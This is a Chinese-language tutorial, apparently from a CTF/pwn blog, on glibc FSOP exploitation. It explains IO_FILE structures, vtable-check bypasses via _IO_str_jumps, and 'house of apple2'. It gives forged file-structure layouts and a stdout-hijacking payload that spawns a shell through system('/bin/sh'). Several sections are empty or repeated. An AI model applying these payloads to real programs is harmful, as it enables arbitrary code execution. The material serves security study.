其他分享
首页 > 其他分享> > 20220701- FSOP专题

20220701- FSOP专题

作者:互联网

2022/07/01 FSOP专题

IO_FILE 相关结构体

首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin,标准输出文件stdout,标准错误输出文件stderr,分别得到文件描述符 0, 1, 2,而这三个I/O文件的类型为指向FILE的指针,而FILE实际上就是_IO_FILE

typedef struct _IO_FILE FILE;
extern struct _IO_FILE *stdin;        /* Standard input stream.  */
extern struct _IO_FILE *stdout;        /* Standard output stream.  */
extern struct _IO_FILE *stderr;        /* Standard error output stream.  */
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;

其中_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr_定义如下

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

_IO_2_1_stdin__IO_2_1_stdout,_IO_2_1_stderr_都是_IO_FILE_plus结构体指针,除了这三个以外,还有一个_IO_list_all也是_IO_FILE_plus结构体指针,用来管理所有的`_IO_FILE

_IO_2_1_stdin__IO_2_1_stdout__IO_2_1_stderr__IO_list_all都是通过_IO_FILE结构体中的_chain指针相连的,而_chain指针也是一个_IO_FILE结构体指针

img

//in libio/libioP.h
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
      int _flags;
    #define _IO_file_flags _flags
 
    char* _IO_read_ptr;   /* Current read pointer */
    char* _IO_read_end;   /* End of get area. */
    char* _IO_read_base;  /* Start of putback+get area. */
    char* _IO_write_base; /* Start of put area. */
    char* _IO_write_ptr;  /* Current put pointer. */
    char* _IO_write_end;  /* End of put area. */
    char* _IO_buf_base;   /* Start of reserve area. */
    char* _IO_buf_end;    /* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset;
 
#define __HAVE_COLUMN
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

​ 进程中FILE结构通过_chain域构成一个链表,链表头部为_IO_list_all全局变量,默认情况下依次链接了stderr,stdout,stdin三个文件流,并将新建的流插入到头部,vtable虚表为_IO_file_jumps

stderr,stdout,stdin 是指针,而_IO_2_1_xxx 是结构体)

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

JUMP_FIELD是一个接收两个参数的宏,前一个参数为类型名,后一个为变量名。结构体的前两个变量实际上不会被使用到,所以默认为0,其余的变量存储着不同的函数指针,在使用FILE结构体进行IO操作的过程中会通过这些函数指针调用到对应的函数。

所以这个函数表中有(24 - 5 + 1)个函数,分别完成IO相关的功能,由IO函数调用,如fwrite最终会调用__write函数,fread会调用__doallocate来分配IO缓冲区等。

FSOP

前言

举个exit()函数退出的例子,当exit发生时:

函数调用链为

其中fp的数据类型为_IO_FILE_plus

主要原理

劫持vtable_chain,伪造IO_FILE,主要利用方式为调用IO_flush_all_lockp()函数触发。

调用过程

如下:

其中_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow

利用

因此在libc-2.23版本下可如下构造,进行FSOP:
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = "/bin/sh\x00", //对应此结构体首地址(fp)
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
      ...
     _mode = 0x0, //一般不用特意设置
     _unused2 = '\000' <repeats 19 times>
  },
  vtable = heap_addr
}
heap_addr
{
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x0,
  __overflow = system_addr,
    ...
}
因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")。

因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")

保护

libc-2.24加入了对虚表的检查IO_validate_vtable()IO_vtable_check(),若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                 + (THIS)->_vtable_offset)))

在最终调用vtable的函数之前,内联进了IO_validate_vtable函数,其源码如下:

static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
    _IO_vtable_check ();
  return vtable;
}

如何绕过

我们要知道glibc中有一段完整的内存存放着各个vtable,其中__start___libc_IO_vtables指向第一个vtable地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。若指针不在glibcvtable段,会调用_IO_vtable_check()做进一步检查,以判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。

我们伪造的vtableglibcvtable段中,从而得以绕过该检查。

绕过思路

利用_IO_str_jumps vtable

_IO_str_finish函数

{
  __dummy = 0,
  __dummy2 = 0,
  __finish <_IO_str_finish>,
  __overflow  <__GI__IO_str_overflow>,
  __underflow  <__GI__IO_str_underflow>,
  __uflow  <__GI__IO_default_uflow>,
  __pbackfail  <__GI__IO_str_pbackfail>,
  __xsputn  <__GI__IO_default_xsputn>,
  __xsgetn  <__GI__IO_default_xsgetn>,
  __seekoff  <__GI__IO_str_seekoff>,
  __seekpos  <_IO_default_seekpos>,
  __setbuf  <_IO_default_setbuf>,
  __sync  <_IO_default_sync>,
  __doallocate  <__GI__IO_default_doallocate>,
  __read  <_IO_default_read>,
  __write  <_IO_default_write>,
  __seek  <_IO_default_seek>,
  __close  <_IO_default_sync>,
  __stat  <_IO_default_stat>,
  __showmanyc  <_IO_default_showmanyc>,
  __imbue  <_IO_default_imbue>
}

源码如下:

void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}


其中相关的_IO_str_fields结构体与_IO_strfile_结构体的定义:

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};
 
typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

可以看到,它使用了IO结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base进入到_IO_OVERFLOW中。
我们可以将vtable的地址覆盖成_IO_str_jumps-8,这样会使得_IO_str_finish函数成为了伪造的vtable地址的_IO_OVERFLOW函数(因为_IO_str_finish偏移为_IO_str_jumps0x10,而_IO_OVERFLOW0x18)。这个vtable(地址为_IO_str_jumps-8)可以绕过检查,因为它在vtable的地址段中。
构造好vtable之后,需要做的就是构造IO FILE结构体其他字段,以进入将fp->_s._free_buffer当作函数指针的调用:先构造fp->_IO_buf_base/bin/sh的地址,然后构造fp->_flags不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0
最后构造fp->_s._free_buffersystem_addrone gadget即可getshell
由于libc中没有_IO_str_jump的符号,因此可以通过_IO_str_jumpsvtable中的倒数第二个表,用vtable的最后地址减去0x168定位。

也可以用如下函数进行定位:

# libc.address = libc_base
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr
._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = bin_sh_addr,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : 0x0
+0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer

重点是明白 哪个是存储函数调用的指针,哪个是参数

p/x &((_IO_strfile *) stdout)->_s._free_buffer

_IO_str_overflow函数

int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了fp->_s._allocate_buffer函数指针
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);
 
      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
 
      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }
 
  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

和之前利用_IO_str_finish的思路差不多,可以看到其中调用了fp->_s._allocate_buffer函数指针,其参数rdinew_size,因此,我们将_s._allocate_buffer改为system的地址,new_size改为/bin/sh的地址,又new_size = 2 * old_blen + 100,也就是new_size = 2 * _IO_blen (fp) + 100,可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base),因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100,故我们可以使_IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) // 2,当然还不能忘了需要绕过_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base才能进入到_IO_OVERFLOW中,故令_IO_write_ptr = 0xffffffffffffffff_IO_write_base = 0x0即可。
最终可按如下布局fake IO_FILE

._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = (bin_sh_addr - 100) // 2,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer

参考payload(劫持的stdout):

new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])

落幕

libc-2.28及以后,由于不再使用偏移找_s._allocate_buffer_s._free_buffer,而是直接用mallocfree代替,所以FSOP也失效了。(指_IO_str_jumps / _IO_str_overflow 失效)

house of apple2(新的FSOP)

基本原理

正常stderr/stdin/stdout以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下:

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
 
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))       //检查vtable的合法性

IO_validate_vtable函数负责检查vtable的合法性,会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法,程序将会异常终止。

那么我们可不可以查找一个vtable,它的vtable里没有IO_validate_vtable呢?答案是找得到!

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员

//in the stdio.h/_IO_wide_data
struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;    /* Start of putback+get area. */
  wchar_t *_IO_write_base;    /* Start of put area. */
  wchar_t *_IO_write_ptr;    /* Current put pointer. */
  wchar_t *_IO_write_end;    /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;        /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
 
  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;
  wchar_t _shortbuf[1];
  const struct _IO_jump_t *_wide_vtable;
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow调用为例,所用到的宏依次为:

#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
 
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
 
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
 
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

那么我们怎么查找属于_wide_vtable的vtable呢?

vscode打开输入_wide_vtable然后**查找所有引用**

注意到该_wide_vtable是属于_IO_wide_data,所以我们不能用_IO_str_jumps/_IO_str_overflow,我们就需要去找一个类似与_wide_vtable的vtable(默认为_IO_wfile_jumps,其他为_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap)

利用思路

_IO_wfile_overflow

fp的设置如下:

函数调用链如下:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_wfile_underflow_mmap

fp的设置如下:

函数调用链如下:

_IO_wfile_underflow_mmap
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_wdefault_xsgetn

附录

amd64:
 
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
00:0000│   (_IO_wfile_jumps) ◂— 0x0
01:0008│   (_IO_wfile_jumps+8) ◂— 0x0
02:0010│   (_IO_wfile_jumps+16) —▸  (_IO_file_finish)  
03:0018│   (_IO_wfile_jumps+24) —▸  (_IO_wfile_overflow)  
04:0020│   (_IO_wfile_jumps+32) —▸  (_IO_wfile_underflow)  
05:0028│   (_IO_wfile_jumps+40) —▸  (_IO_wdefault_uflow)  
06:0030│   (_IO_wfile_jumps+48) —▸  (_IO_wdefault_pbackfail)  
07:0038│   (_IO_wfile_jumps+56) —▸  (_IO_wfile_xsputn)  
08:0040│   (_IO_wfile_jumps+64) —▸  (__GI__IO_file_xsgetn)  
09:0048│   (_IO_wfile_jumps+72) —▸  (_IO_wfile_seekoff)  
0a:0050│   (_IO_wfile_jumps+80) —▸  (_IO_default_seekpos)  
0b:0058│   (_IO_wfile_jumps+88) —▸  (_IO_file_setbuf)  
0c:0060│   (_IO_wfile_jumps+96) —▸  (_IO_wfile_sync)  
0d:0068│   (_IO_wfile_jumps+104) —▸  (_IO_wfile_doallocate)  
0e:0070│   (_IO_wfile_jumps+112) —▸  (_IO_file_read)  
0f:0078│   (_IO_wfile_jumps+120) —▸  (_IO_file_write)  
10:0080│   (_IO_wfile_jumps+128) —▸  (_IO_file_seek)  
11:0088│   (_IO_wfile_jumps+136) —▸  (_IO_file_close)  
12:0090│   (_IO_wfile_jumps+144) —▸  (_IO_file_stat)  
13:0098│   (_IO_wfile_jumps+152) —▸  (_IO_default_showmanyc)  
14:00a0│   (_IO_wfile_jumps+160) —▸  (_IO_default_imbue)  
    
a8 ~ c0

参考链接

标签:fp,__,专题,vtable,jumps,FSOP,base,IO,20220701
来源: https://www.cnblogs.com/7resp4ss/p/16677936.html